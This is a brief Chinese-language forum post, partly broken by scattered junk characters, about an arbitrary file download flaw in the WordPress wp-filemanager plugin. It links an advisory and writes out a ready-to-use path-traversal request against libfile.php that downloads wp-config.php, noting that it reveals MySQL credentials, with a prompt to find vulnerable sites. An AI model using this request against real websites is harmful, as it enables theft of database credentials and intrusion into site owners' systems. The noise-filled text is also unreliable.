洞详解:http://packetstormsecurity.com/f ... -File-Download.html/ b. h! L1 Y1 Y* N; }
9 a+ g3 L" T, j6 ~1 R查找漏洞网站:访问/wp-content/plugins/wp-filemanager/incl/libfile.php?&path=../../&filename=wp-config.php&action=download,下载wp-config,其中回显MySQL。, R, l9 q! Z; t; l* @& ^% O! p
|